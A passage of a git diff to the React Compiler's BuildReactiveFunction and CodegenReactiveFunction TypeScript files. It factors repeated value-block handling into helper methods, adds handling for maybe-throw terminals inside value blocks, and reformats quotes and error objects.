-            kind: "SequenceExpression",
-            instructions: [initBlock.instructions.at(-1)!],
-            id: terminal.id,
-            loc: terminal.loc,
-            value: {
-              kind: "Primitive",
-              value: undefined,
-              loc: terminal.loc,
-            },
-          };
-        }
+        const initValue = this.valueBlockResultToSequence(init, terminal.loc);
 
         const test = this.visitValueBlock(terminal.test, terminal.loc);
-        const testBlock = this.cx.ir.blocks.get(test.block)!;
-        let testValue = test.value;
-        if (testValue.kind === "SequenceExpression") {
-          const last = testBlock.instructions.at(-1)!;
-          testValue.instructions.push(last);
-          testValue.value = {
-            kind: "Primitive",
-            value: undefined,
-            loc: terminal.loc,
-          };
-        } else {
-          testValue = {
-            kind: "SequenceExpression",
-            instructions: [testBlock.instructions.at(-1)!],
-            id: terminal.id,
-            loc: terminal.loc,
-            value: {
-              kind: "Primitive",
-              value: undefined,
-              loc: terminal.loc,
-            },
-          };
-        }
+        const testValue = this.valueBlockResultToSequence(test, terminal.loc);
 
         let loopBody: ReactiveBlock;
         if (loopId) {
@@ -508,9 +574,9 @@ class Driver {
 
         this.cx.unscheduleAll(scheduleIds);
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           terminal: {
-            kind: "for-of",
+            kind: 'for-of',
             loc: terminal.loc,
             init: initValue,
             test: testValue,
@@ -518,16 +584,14 @@ class Driver {
             id: terminal.id,
           },
           label:
-            fallthroughId == null
-              ? null
-              : { id: fallthroughId, implicit: false },
+            fallthroughId == null ? null : {id: fallthroughId, implicit: false},
         });
         if (fallthroughId !== null) {
           this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);
         }
         break;
       }
-      case "for-in": {
+      case 'for-in': {
         const loopId =
           !this.cx.isScheduled(terminal.loop) &&
           terminal.loop !== terminal.fallthrough
@@ -541,34 +605,12 @@ class Driver {
         const scheduleId = this.cx.scheduleLoop(
           terminal.fallthrough,
           terminal.init,
-          terminal.loop
+          terminal.loop,
         );
         scheduleIds.push(scheduleId);
 
         const init = this.visitValueBlock(terminal.init, terminal.loc);
-        const initBlock = this.cx.ir.blocks.get(init.block)!;
-        let initValue = init.value;
-        if (initValue.kind === "SequenceExpression") {
-          const last = initBlock.instructions.at(-1)!;
-          initValue.instructions.push(last);
-          initValue.value = {
-            kind: "Primitive",
-            value: undefined,
-            loc: terminal.loc,
-          };
-        } else {
-          initValue = {
-            kind: "SequenceExpression",
-            instructions: [initBlock.instructions.at(-1)!],
-            id: terminal.id,
-            loc: terminal.loc,
-            value: {
-              kind: "Primitive",
-              value: undefined,
-              loc: terminal.loc,
-            },
-          };
-        }
+        const initValue = this.valueBlockResultToSequence(init, terminal.loc);
 
         let loopBody: ReactiveBlock;
         if (loopId) {
@@ -582,38 +624,36 @@ class Driver {
 
         this.cx.unscheduleAll(scheduleIds);
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           terminal: {
-            kind: "for-in",
+            kind: 'for-in',
             loc: terminal.loc,
             init: initValue,
             loop: loopBody,
             id: terminal.id,
           },
           label:
-            fallthroughId == null
-              ? null
-              : { id: fallthroughId, implicit: false },
+            fallthroughId == null ? null : {id: fallthroughId, implicit: false},
         });
         if (fallthroughId !== null) {
           this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);
         }
         break;
       }
-      case "branch": {
+      case 'branch': {
         let consequent: ReactiveBlock | null = null;
         if (this.cx.isScheduled(terminal.consequent)) {
           const break_ = this.visitBreak(
             terminal.consequent,
             terminal.id,
-            terminal.loc
+            terminal.loc,
           );
           if (break_ !== null) {
             consequent = [break_];
           }
         } else {
           consequent = this.traverseBlock(
-            this.cx.ir.blocks.get(terminal.consequent)!
+            this.cx.ir.blocks.get(terminal.consequent)!,
           );
         }
 
@@ -625,14 +665,14 @@ class Driver {
           });
         } else {
           alternate = this.traverseBlock(
-            this.cx.ir.blocks.get(terminal.alternate)!
+            this.cx.ir.blocks.get(terminal.alternate)!,
           );
         }
 
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           terminal: {
-            kind: "if",
+            kind: 'if',
             loc: terminal.loc,
             test: terminal.test,
             consequent: consequent ?? this.emptyBlock(),
@@ -644,14 +684,14 @@ class Driver {
 
         break;
       }
-      case "label": {
+      case 'label': {
         const fallthroughId =
           this.cx.reachable(terminal.fallthrough) &&
           !this.cx.isScheduled(terminal.fallthrough)
             ? terminal.fallthrough
             : null;
         if (fallthroughId !== null) {
-          const scheduleId = this.cx.schedule(fallthroughId, "if");
+          const scheduleId = this.cx.schedule(fallthroughId, 'if');
           scheduleIds.push(scheduleId);
         }
 
@@ -667,17 +707,15 @@ class Driver {
 
         this.cx.unscheduleAll(scheduleIds);
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           terminal: {
-            kind: "label",
+            kind: 'label',
             loc: terminal.loc,
             block,
             id: terminal.id,
           },
           label:
-            fallthroughId == null
-              ? null
-              : { id: fallthroughId, implicit: false },
+            fallthroughId == null ? null : {id: fallthroughId, implicit: false},
         });
         if (fallthroughId !== null) {
           this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);
@@ -685,24 +723,24 @@ class Driver {
 
         break;
       }
-      case "sequence":
-      case "optional":
-      case "ternary":
-      case "logical": {
+      case 'sequence':
+      case 'optional':
+      case 'ternary':
+      case 'logical': {
         const fallthroughId =
           terminal.fallthrough !== null &&
           !this.cx.isScheduled(terminal.fallthrough)
             ? terminal.fallthrough
             : null;
         if (fallthroughId !== null) {
-          const scheduleId = this.cx.schedule(fallthroughId, "if");
+          const scheduleId = this.cx.schedule(fallthroughId, 'if');
           scheduleIds.push(scheduleId);
         }
 
-        const { place, value } = this.visitValueBlockTerminal(terminal);
+        const {place, value} = this.visitValueBlockTerminal(terminal);
         this.cx.unscheduleAll(scheduleIds);
         blockValue.push({
-          kind: "instruction",
+          kind: 'instruction',
           instruction: {
             id: terminal.id,
             lvalue: place,
@@ -716,13 +754,13 @@ class Driver {
         }
         break;
       }
-      case "goto": {
+      case 'goto': {
         switch (terminal.variant) {
           case GotoVariant.Break: {
             const break_ = this.visitBreak(
               terminal.block,
               terminal.id,
-              terminal.loc
+              terminal.loc,
             );
             if (break_ !== null) {
               blockValue.push(break_);
@@ -733,7 +771,7 @@ class Driver {
             const continue_ = this.visitContinue(
               terminal.block,
               terminal.id,
-              terminal.loc
+              terminal.loc,
             );
             if (continue_ !== null) {
               blockValue.push(continue_);
@@ -746,13 +784,13 @@ class Driver {
           default: {
             assertExhaustive(
               terminal.variant,
-              `Unexpected goto variant \`${terminal.variant}\``
+              `Unexpected goto variant \`${terminal.variant}\``,
             );
           }
         }
         break;
       }
-      case "maybe-throw": {
+      case 'maybe-throw': {
         /*
          * ReactiveFunction does not explicit model maybe-throw semantics,
          * so these terminals flatten away
@@ -760,39 +798,37 @@ class Driver {
         if (!this.cx.isScheduled(terminal.continuation)) {
           this.visitBlock(
             this.cx.ir.blocks.get(terminal.continuation)!,
-            blockValue
+            blockValue,
           );
         }
         break;
       }
-      case "try": {
+      case 'try': {
         const fallthroughId =
           this.cx.reachable(terminal.fallthrough) &&
           !this.cx.isScheduled(terminal.fallthrough)
             ? terminal.fallthrough
             : null;
         if (fallthroughId !== null) {
-          const scheduleId = this.cx.schedule(fallthroughId, "if");
+          const scheduleId = this.cx.schedule(fallthroughId, 'if');
           scheduleIds.push(scheduleId);
         }
         this.cx.scheduleCatchHandler(terminal.handler);
 
         const block = this.traverseBlock(
-          this.cx.ir.blocks.get(terminal.block)!
+          this.cx.ir.blocks.get(terminal.block)!,
         );
         const handler = this.traverseBlock(
-          this.cx.ir.blocks.get(terminal.handler)!
+          this.cx.ir.blocks.get(terminal.handler)!,
         );
 
         this.cx.unscheduleAll(scheduleIds);
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           label:
-            fallthroughId == null
-              ? null
-              : { id: fallthroughId, implicit: false },
+            fallthroughId == null ? null : {id: fallthroughId, implicit: false},
           terminal: {
-            kind: "try",
+            kind: 'try',
             loc: terminal.loc,
             block,
             handlerBinding: terminal.handlerBinding,
@@ -806,13 +842,13 @@ class Driver {
         }
         break;
       }
-      case "pruned-scope":
-      case "scope": {
+      case 'pruned-scope':
+      case 'scope': {
         const fallthroughId = !this.cx.isScheduled(terminal.fallthrough)
           ? terminal.fallthrough
           : null;
         if (fallthroughId !== null) {
-          const scheduleId = this.cx.schedule(fallthroughId, "if");
+          const scheduleId = this.cx.schedule(fallthroughId, 'if');
           scheduleIds.push(scheduleId);
           this.cx.scopeFallthroughs.add(fallthroughId);
         }
@@ -839,163 +875,154 @@ class Driver {
 
         break;
       }
-      case "unreachable": {
+      case 'unreachable': {
         // noop
         break;
       }
-      case "unsupported": {
+      case 'unsupported': {
         CompilerError.invariant(false, {
-          reason: "Unexpected unsupported terminal",
-          description: null,
+          reason: 'Unexpected unsupported terminal',
           loc: terminal.loc,
-          suggestions: null,
         });
       }
       default: {
-        assertExhaustive(terminal, "Unexpected terminal");
+        assertExhaustive(terminal, 'Unexpected terminal');
       }
     }
   }
 
   visitValueBlock(
-    id: BlockId,
-    loc: SourceLocation
-  ): { block: BlockId; value: ReactiveValue; place: Place; id: InstructionId } {
-    const defaultBlock = this.cx.ir.blocks.get(id)!;
-    if (defaultBlock.terminal.kind === "branch") {
-      const instructions = defaultBlock.instructions;
-      if (instructions.length === 0) {
+    blockId: BlockId,
+    loc: SourceLocation,
+    fallthrough: BlockId | null = null,
+  ): {block: BlockId; value: ReactiveValue; place: Place; id: InstructionId} {
+    const block = this.cx.ir.blocks.get(blockId)!;
+    // If we've reached the fallthrough block, stop recursing
+    if (fallthrough !== null && blockId === fallthrough) {
+      CompilerError.invariant(false, {
+        reason: 'Did not expect to reach the fallthrough of a value block',
+        description: `Reached bb${blockId}, which is the fallthrough for this value block`,
+        loc,
+      });
+    }
+    if (block.terminal.kind === 'branch') {
+      if (block.instructions.length === 0) {
         return {
-          block: defaultBlock.id,
-          place: defaultBlock.terminal.test,
+          block: block.id,
+          place: block.terminal.test,
           value: {
-            kind: "LoadLocal",
-            place: defaultBlock.terminal.test,
-            loc: defaultBlock.terminal.test.loc,
+            kind: 'LoadLocal',
+            place: block.terminal.test,
+            loc: block.terminal.test.loc,
           },
-          id: defaultBlock.terminal.id,
-        };
-      } else if (defaultBlock.instructions.length === 1) {
-        const instr = defaultBlock.instructions[0]!;
-        CompilerError.invariant(
-          instr.lvalue.identifier.id ===
-            defaultBlock.terminal.test.identifier.id,
-          {
-            reason:
-              "Expected branch block to end in an instruction that sets the test value",
-            description: null,
-            loc: instr.lvalue.loc,
-            suggestions: null,
-          }
-        );
-        return {
-          block: defaultBlock.id,
-          place: instr.lvalue!,
-          value: instr.value,
-          id: instr.id,
-        };
-      } else {
-        const instr = defaultBlock.instructions.at(-1)!;
-        const sequence: ReactiveSequenceValue = {
-          kind: "SequenceExpression",
-          instructions: defaultBlock.instructions.slice(0, -1),
-          id: instr.id,
-          value: instr.value,
-          loc: loc,
-        };
-        return {
-          block: defaultBlock.id,
-          place: defaultBlock.terminal.test,
-          value: sequence,
-          id: defaultBlock.terminal.id,
+          id: block.terminal.id,
         };
       }
-    } else if (defaultBlock.terminal.kind === "goto") {
-      const instructions = defaultBlock.instructions;
-      if (instructions.length === 0) {
+      return this.extractValueBlockResult(block.instructions, block.id, loc);
+    } else if (block.terminal.kind === 'goto') {
+      if (block.instructions.length === 0) {
         CompilerError.invariant(false, {
-          reason: "Expected goto value block to have at least one instruction",
-          description: null,
-          loc: null,
-          suggestions: null,
+          reason: 'Unexpected empty block with `goto` terminal',
+          description: `Block bb${block.id} is empty`,
+          loc,
         });
-      } else if (defaultBlock.instructions.length === 1) {
-        const instr = defaultBlock.instructions[0]!;
-        let place: Place = instr.lvalue!;
-        let value: ReactiveValue = instr.value;
-        if (instr.value.kind === "StoreLocal") {
-          place = instr.value.lvalue.place;
-          value = {
-            kind: "LoadLocal",
-            place: instr.value.value,
-            loc: instr.value.value.loc,
-          };
-        }
-        return {
-          block: defaultBlock.id,
-          place,
-          value,
-          id: instr.id,
-        };
-      } else {
-        const instr = defaultBlock.instructions.at(-1)!;
-        let place: Place = instr.lvalue!;
-        let value: ReactiveValue = instr.value;
-        if (instr.value.kind === "StoreLocal") {
-          place = instr.value.lvalue.place;
-          value = {
-            kind: "LoadLocal",
-            place: instr.value.value,
-            loc: instr.value.value.loc,
-          };
-        }
-        const sequence: ReactiveSequenceValue = {
-          kind: "SequenceExpression",
-          instructions: defaultBlock.instructions.slice(0, -1),
-          id: instr.id,
-          value,
-          loc: loc,
-        };
-        return {
-          block: defaultBlock.id,
-          place,
-          value: sequence,
-          id: instr.id,
-        };
       }
+      return this.extractValueBlockResult(block.instructions, block.id, loc);
+    } else if (block.terminal.kind === 'maybe-throw') {
+      /*
+       * ReactiveFunction does not explicitly model maybe-throw semantics,
+       * so maybe-throw terminals in value blocks flatten away. In general
+       * we recurse to the continuation block.
+       *
+       * However, if the last portion
+       * of the value block is a potentially throwing expression, then the
+       * value block could be of the form
+       * ```
+       * bb1:
+       *   ...StoreLocal for the value block...
+       *   maybe-throw continuation=bb2
+       * bb2:
+       *   goto (exit the value block)
+       * ```
+       *
+       * Ie what would have been a StoreLocal+goto is split up because of
+       * the maybe-throw. We detect this case and return the value of the
+       * current block as the result of the value block
+       */
+      const continuationId = block.terminal.continuation;
+      const continuationBlock = this.cx.ir.blocks.get(continuationId)!;
+      if (
+        continuationBlock.instructions.length === 0 &&
+        continuationBlock.terminal.kind === 'goto'
+      ) {
+        return this.extractValueBlockResult(
+          block.instructions,
+          continuationBlock.id,
+          loc,
+        );
+      }
+
+      const continuation = this.visitValueBlock(
+        continuationId,
+        loc,
+        fallthrough,
+      );
+      return this.wrapWithSequence(block.instructions, continuation, loc);
     } else {
       /*
        * The value block ended in a value terminal, recurse to get the value
-       * of that terminal
+       * of that terminal and stitch them together in a sequence.
        */
-      const init = this.visitValueBlockTerminal(defaultBlock.terminal);
-      // Code following the logical terminal
+      const init = this.visitValueBlockTerminal(block.terminal);
       const final = this.visitValueBlock(init.fallthrough, loc);
-      // Stitch the two together...
-      const sequence: ReactiveSequenceValue = {
-        kind: "SequenceExpression",
-        instructions: [
-          ...defaultBlock.instructions,
-          {
-            id: init.id,
-            loc,
-            lvalue: init.place,
-            value: init.value,
-          },
+      return this.wrapWithSequence(
+        [
+          ...block.instructions,
+          {id: init.id, loc, lvalue: init.place, value: init.value},
         ],
-        id: final.id,
-        value: final.value,
+        final,
         loc,
-      };
-      return {
-        block: init.fallthrough,
-        value: sequence,
-        place: final.place,
-        id: final.id,
-      };
+      );
     }
   }
 
+  /*
+   * Visits the test block of a value terminal (optional, logical, ternary) and
+   * returns the result along with the branch terminal. Throws a todo error if
+   * the test block does not end in a branch terminal.
+   */
+  visitTestBlock(
+    testBlockId: BlockId,
+    loc: SourceLocation,
+    terminalKind: string,
+  ): {
+    test: {
+      block: BlockId;
+      value: ReactiveValue;
+      place: Place;
+      id: InstructionId;
+    };
+    branch: {consequent: BlockId; alternate: BlockId; loc: SourceLocation};
+  } {
+    const test = this.visitValueBlock(testBlockId, loc);
+    const testBlock = this.cx.ir.blocks.get(test.block)!;
+    if (testBlock.terminal.kind !== 'branch') {
+      CompilerError.invariant(false, {
+        reason: `Expected a branch terminal for ${terminalKind} test block`,
+        description: `Got \`${testBlock.terminal.kind}\``,
+        loc: testBlock.terminal.loc,
+      });
+    }
+    return {
+      test,
+      branch: {
+        consequent: testBlock.terminal.consequent,
+        alternate: testBlock.terminal.alternate,
+        loc: testBlock.terminal.loc,
+      },
+    };
+  }
+
   visitValueBlockTerminal(terminal: Terminal): {
     value: ReactiveValue;
     place: Place;
@@ -1003,8 +1030,12 @@ class Driver {
     id: InstructionId;
   } {
     switch (terminal.kind) {
-      case "sequence": {
-        const block = this.visitValueBlock(terminal.block, terminal.loc);
+      case 'sequence': {
+        const block = this.visitValueBlock(
+          terminal.block,
+          terminal.loc,
+          terminal.fallthrough,
+        );
         return {
           value: block.value,
           place: block.place,
@@ -1012,27 +1043,23 @@ class Driver {
           id: terminal.id,
         };
       }
-      case "optional": {
-        const test = this.visitValueBlock(terminal.test, terminal.loc);
-        const testBlock = this.cx.ir.blocks.get(test.block)!;
-        if (testBlock.terminal.kind !== "branch") {
-          CompilerError.throwTodo({
-            reason: `Unexpected terminal kind \`${testBlock.terminal.kind}\` for optional test block`,
-            description: null,
-            loc: testBlock.terminal.loc,
-            suggestions: null,
-          });
-        }
+      case 'optional': {
+        const {test, branch} = this.visitTestBlock(
+          terminal.test,
+          terminal.loc,
+          'optional',
+        );
         const consequent = this.visitValueBlock(
-          testBlock.terminal.consequent,
-          terminal.loc
+          branch.consequent,
+          terminal.loc,
+          terminal.fallthrough,
         );
         const call: ReactiveSequenceValue = {
-          kind: "SequenceExpression",
+          kind: 'SequenceExpression',
           instructions: [
             {
               id: test.id,
-              loc: testBlock.terminal.loc,
+              loc: branch.loc,
               lvalue: test.place,
               value: test.value,
             },
@@ -1042,9 +1069,9 @@ class Driver {
           loc: terminal.loc,
         };
         return {
-          place: { ...consequent.place },
+          place: {...consequent.place},
           value: {
-            kind: "OptionalExpression",
+            kind: 'OptionalExpression',
             optional: terminal.optional,
             value: call,
             id: terminal.id,
@@ -1054,24 +1081,19 @@ class Driver {
           id: terminal.id,
         };
       }
-      case "logical": {
-        const test = this.visitValueBlock(terminal.test, terminal.loc);
-        const testBlock = this.cx.ir.blocks.get(test.block)!;
-        if (testBlock.terminal.kind !== "branch") {
-          CompilerError.throwTodo({
-            reason: `Unexpected terminal kind \`${testBlock.terminal.kind}\` for logical test block`,
-            description: null,
-            loc: testBlock.terminal.loc,
-            suggestions: null,
-          });
-        }
-
+      case 'logical': {
+        const {test, branch} = this.visitTestBlock(
+          terminal.test,
+          terminal.loc,
+          'logical',
+        );
         const leftFinal = this.visitValueBlock(
-          testBlock.terminal.consequent,
-          terminal.loc
+          branch.consequent,
+          terminal.loc,
+          terminal.fallthrough,
         );
         const left: ReactiveSequenceValue = {
-          kind: "SequenceExpression",
+          kind: 'SequenceExpression',
           instructions: [
             {
               id: test.id,
@@ -1085,44 +1107,42 @@ class Driver {
           loc: terminal.loc,
         };
         const right = this.visitValueBlock(
-          testBlock.terminal.alternate,
-          terminal.loc
+          branch.alternate,
+          terminal.loc,
+          terminal.fallthrough,
         );
         const value: ReactiveLogicalValue = {
-          kind: "LogicalExpression",
+          kind: 'LogicalExpression',
           operator: terminal.operator,
           left: left,
           right: right.value,
           loc: terminal.loc,
         };
         return {
-          place: { ...leftFinal.place },
+          place: {...leftFinal.place},
           value,
           fallthrough: terminal.fallthrough,
           id: terminal.id,
         };
       }
-      case "ternary": {
-        const test = this.visitValueBlock(terminal.test, terminal.loc);
-        const testBlock = this.cx.ir.blocks.get(test.block)!;
-        if (testBlock.terminal.kind !== "branch") {
-          CompilerError.throwTodo({
-            reason: `Unexpected terminal kind \`${testBlock.terminal.kind}\` for ternary test block`,
-            description: null,
-            loc: testBlock.terminal.loc,
-            suggestions: null,
-          });
-        }
+      case 'ternary': {
+        const {test, branch} = this.visitTestBlock(
+          terminal.test,
+          terminal.loc,
+          'ternary',
+        );
         const consequent = this.visitValueBlock(
-          testBlock.terminal.consequent,
-          terminal.loc
+          branch.consequent,
+          terminal.loc,
+          terminal.fallthrough,
         );
         const alternate = this.visitValueBlock(
-          testBlock.terminal.alternate,
-          terminal.loc
+          branch.alternate,
+          terminal.loc,
+          terminal.fallthrough,
         );
         const value: ReactiveTernaryValue = {
-          kind: "ConditionalExpression",
+          kind: 'ConditionalExpression',
           test: test.value,
           consequent: consequent.value,
           alternate: alternate.value,
@@ -1130,21 +1150,20 @@ class Driver {
         };
 
         return {
-          place: { ...consequent.place },
+          place: {...consequent.place},
           value,
           fallthrough: terminal.fallthrough,
           id: terminal.id,
         };
       }
-      case "maybe-throw": {
-        CompilerError.throwTodo({
-          reason: `Support value blocks (conditional, logical, optional chaining, etc) within a try/catch statement`,
+      case 'maybe-throw': {
+        CompilerError.invariant(false, {
+          reason: `Unexpected maybe-throw in visitValueBlockTerminal - should be handled in visitValueBlock`,
           description: null,
           loc: terminal.loc,
-          suggestions: null,
         });
       }
-      case "label": {
+      case 'label': {
         CompilerError.throwTodo({
           reason: `Support labeled statements combined with value blocks (conditional, logical, optional chaining, etc)`,
           description: null,
@@ -1170,28 +1189,26 @@ class Driver {
   visitBreak(
     block: BlockId,
     id: InstructionId,
-    loc: SourceLocation
+    loc: SourceLocation,
   ): ReactiveTerminalStatement<ReactiveBreakTerminal> | null {
     const target = this.cx.getBreakTarget(block);
     if (target === null) {
       CompilerError.invariant(false, {
-        reason: "Expected a break target",
-        description: null,
-        loc: null,
-        suggestions: null,
+        reason: 'Expected a break target',
+        loc: GeneratedSource,
       });
     }
     if (this.cx.scopeFallthroughs.has(target.block)) {
-      CompilerError.invariant(target.type === "implicit", {
-        reason: "Expected reactive scope to implicitly break to fallthrough",
+      CompilerError.invariant(target.type === 'implicit', {
+        reason: 'Expected reactive scope to implicitly break to fallthrough',
         loc,
       });
       return null;
     }
     return {
-      kind: "terminal",
+      kind: 'terminal',
       terminal: {
-        kind: "break",
+        kind: 'break',
         loc,
         target: target.block,
         id,
@@ -1204,20 +1221,18 @@ class Driver {
   visitContinue(
     block: BlockId,
     id: InstructionId,
-    loc: SourceLocation
+    loc: SourceLocation,
   ): ReactiveTerminalStatement<ReactiveContinueTerminal> {
     const target = this.cx.getContinueTarget(block);
     CompilerError.invariant(target !== null, {
       reason: `Expected continue target to be scheduled for bb${block}`,
-      description: null,
-      loc: null,
-      suggestions: null,
+      loc: GeneratedSource,
     });
 
     return {
-      kind: "terminal",
+      kind: 'terminal',
       terminal: {
-        kind: "continue",
+        kind: 'continue',
         loc,
         target: target.block,
         id,
@@ -1273,39 +1288,35 @@ class Context {
 
   reachable(id: BlockId): boolean {
     const block = this.ir.blocks.get(id)!;
-    return block.terminal.kind !== "unreachable";
+    return block.terminal.kind !== 'unreachable';
   }
 
   /*
    * Record that the given block will be emitted (eg by the codegen of a parent node)
    * so that child nodes can avoid re-emitting it.
    */
-  schedule(block: BlockId, type: "if" | "switch" | "case"): number {
+  schedule(block: BlockId, type: 'if' | 'switch' | 'case'): number {
     const id = this.#nextScheduleId++;
     CompilerError.invariant(!this.#scheduled.has(block), {
       reason: `Break block is already scheduled: bb${block}`,
-      description: null,
-      loc: null,
-      suggestions: null,
+      loc: GeneratedSource,
     });
     this.#scheduled.add(block);
-    this.#controlFlowStack.push({ block, id, type });
+    this.#controlFlowStack.push({block, id, type});
     return id;
   }
 
   scheduleLoop(
     fallthroughBlock: BlockId,
     continueBlock: BlockId,
-    loopBlock: BlockId | null
+    loopBlock: BlockId | null,
   ): number {
     const id = this.#nextScheduleId++;
     const ownsBlock = !this.#scheduled.has(fallthroughBlock);
     this.#scheduled.add(fallthroughBlock);
     CompilerError.invariant(!this.#scheduled.has(continueBlock), {
       reason: `Continue block is already scheduled: bb${continueBlock}`,
-      description: null,
-      loc: null,
-      suggestions: null,
+      loc: GeneratedSource,
     });
     this.#scheduled.add(continueBlock);
     let ownsLoop = false;
@@ -1318,7 +1329,7 @@ class Context {
       block: fallthroughBlock,
       ownsBlock,
       id,
-      type: "loop",
+      type: 'loop',
       continueBlock,
       loopBlock,
       ownsLoop,
@@ -1330,15 +1341,13 @@ class Context {
   unschedule(scheduleId: number): void {
     const last = this.#controlFlowStack.pop();
     CompilerError.invariant(last !== undefined && last.id === scheduleId, {
-      reason: "Can only unschedule the last target",
-      description: null,
-      loc: null,
-      suggestions: null,
+      reason: 'Can only unschedule the last target',
+      loc: GeneratedSource,
     });
-    if (last.type !== "loop" || last.ownsBlock !== null) {
+    if (last.type !== 'loop' || last.ownsBlock !== null) {
       this.#scheduled.delete(last.block);
     }
-    if (last.type === "loop") {
+    if (last.type === 'loop') {
       this.#scheduled.delete(last.continueBlock);
       if (last.ownsLoop && last.loopBlock !== null) {
         this.#scheduled.delete(last.loopBlock);
@@ -1380,35 +1389,33 @@ class Context {
       const target = this.#controlFlowStack[i]!;
       if (target.block === block) {
         let type: ReactiveTerminalTargetKind;
-        if (target.type === "loop") {
+        if (target.type === 'loop') {
           /*
            * breaking out of a loop requires an explicit break,
            * but only requires a label if breaking past the innermost loop.
            */
-          type = hasPrecedingLoop ? "labeled" : "unlabeled";
+          type = hasPrecedingLoop ? 'labeled' : 'unlabeled';
         } else if (i === this.#controlFlowStack.length - 1) {
           /*
            * breaking to the last break point, which is where control will transfer
            * implicitly
            */
-          type = "implicit";
+          type = 'implicit';
         } else {
           // breaking somewhere else requires an explicit break
-          type = "labeled";
+          type = 'labeled';
         }
         return {
           block: target.block,
           type,
         };
       }
-      hasPrecedingLoop ||= target.type === "loop";
+      hasPrecedingLoop ||= target.type === 'loop';
     }
 
     CompilerError.invariant(false, {
-      reason: "Expected a break target",
-      description: null,
-      loc: null,
-      suggestions: null,
+      reason: 'Expected a break target',
+      loc: GeneratedSource,
     });
   }
 
@@ -1423,53 +1430,53 @@ class Context {
    * The returned 'block' value should be used as the label if necessary.
    */
   getContinueTarget(
-    block: BlockId
-  ): { block: BlockId; type: ReactiveTerminalTargetKind } | null {
+    block: BlockId,
+  ): {block: BlockId; type: ReactiveTerminalTargetKind} | null {
     let hasPrecedingLoop = false;
     for (let i = this.#controlFlowStack.length - 1; i >= 0; i--) {
       const target = this.#controlFlowStack[i]!;
-      if (target.type == "loop" && target.continueBlock === block) {
+      if (target.type == 'loop' && target.continueBlock === block) {
         let type: ReactiveTerminalTargetKind;
         if (hasPrecedingLoop) {
           /*
            * continuing to a loop that is not the innermost loop always requires
            * a label
            */
-          type = "labeled";
+          type = 'labeled';
         } else if (i === this.#controlFlowStack.length - 1) {
           /*
            * continuing to the last break point, which is where control will
            * transfer to naturally
            */
-          type = "implicit";
+          type = 'implicit';
         } else {
           /*
            * the continue is inside some conditional logic, requires an explicit
            * continue
            */
-          type = "unlabeled";
+          type = 'unlabeled';
         }
         return {
           block: target.block,
           type,
         };
       }
-      hasPrecedingLoop ||= target.type === "loop";
+      hasPrecedingLoop ||= target.type === 'loop';
     }
     return null;
   }
 
   debugBreakTargets(): Array<ControlFlowTarget> {
-    return this.#controlFlowStack.map((target) => ({ ...target }));
+    return this.#controlFlowStack.map(target => ({...target}));
   }
 }
 
 type ControlFlowTarget =
-  | { type: "if"; block: BlockId; id: number }
-  | { type: "switch"; block: BlockId; id: number }
-  | { type: "case"; block: BlockId; id: number }
+  | {type: 'if'; block: BlockId; id: number}
+  | {type: 'switch'; block: BlockId; id: number}
+  | {type: 'case'; block: BlockId; id: number}
   | {
-      type: "loop";
+      type: 'loop';
       block: BlockId;
       ownsBlock: boolean;
       continueBlock: BlockId;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CodegenReactiveFunction.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CodegenReactiveFunction.ts
index 3886628c8095..486773d5eb91 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CodegenReactiveFunction.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CodegenReactiveFunction.ts
@@ -5,14 +5,24 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import * as t from "@babel/types";
-import { createHmac } from "crypto";
-import { pruneHoistedContexts, pruneUnusedLValues, pruneUnusedLabels } from ".";
-import { CompilerError, ErrorSeverity } from "../CompilerError";
-import { Environment, EnvironmentConfig, ExternalFunction } from "../HIR";
+import * as t from '@babel/types';
+import {createHmac} from 'crypto';
+import {
+  pruneHoistedContexts,
+  pruneUnusedLValues,
+  pruneUnusedLabels,
+  renameVariables,
+} from '.';
+import {
+  CompilerError,
+  CompilerErrorDetail,
+  ErrorCategory,
+} from '../CompilerError';
+import {Environment, ExternalFunction} from '../HIR';
 import {
   ArrayPattern,
   BlockId,
+  DeclarationId,
   GeneratedSource,
   Identifier,
   IdentifierId,
@@ -28,6 +38,7 @@ import {
   ReactiveInstruction,
   ReactiveScope,
   ReactiveScopeBlock,
+  ReactiveScopeDeclaration,
   ReactiveScopeDependency,
   ReactiveTerminal,
   ReactiveValue,
@@ -36,23 +47,26 @@ import {
   ValidIdentifierName,
   getHookKind,
   makeIdentifierName,
-} from "../HIR/HIR";
-import { printIdentifier, printPlace } from "../HIR/PrintHIR";
-import { eachPatternOperand } from "../HIR/visitors";
-import { Err, Ok, Result } from "../Utils/Result";
-import { GuardKind } from "../Utils/RuntimeDiagnosticConstants";
-import { assertExhaustive } from "../Utils/utils";
-import { buildReactiveFunction } from "./BuildReactiveFunction";
-import { SINGLE_CHILD_FBT_TAGS } from "./MemoizeFbtAndMacroOperandsInSameScope";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
-
-export const MEMO_CACHE_SENTINEL = "react.memo_cache_sentinel";
-export const EARLY_RETURN_SENTINEL = "react.early_return_sentinel";
+} from '../HIR/HIR';
+import {printIdentifier, printInstruction, printPlace} from '../HIR/PrintHIR';
+import {eachPatternOperand} from '../HIR/visitors';
+
+import {GuardKind} from '../Utils/RuntimeDiagnosticConstants';
+import {assertExhaustive} from '../Utils/utils';
+import {buildReactiveFunction} from './BuildReactiveFunction';
+import {SINGLE_CHILD_FBT_TAGS} from './MemoizeFbtAndMacroOperandsInSameScope';
+import {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';
+import {ReactFunctionType} from '../HIR/Environment';
+import {ProgramContext} from '../Entrypoint';
+
+export const MEMO_CACHE_SENTINEL = 'react.memo_cache_sentinel';
+export const EARLY_RETURN_SENTINEL = 'react.early_return_sentinel';
 
 export type CodegenFunction = {
-  type: "CodegenFunction";
+  type: 'CodegenFunction';
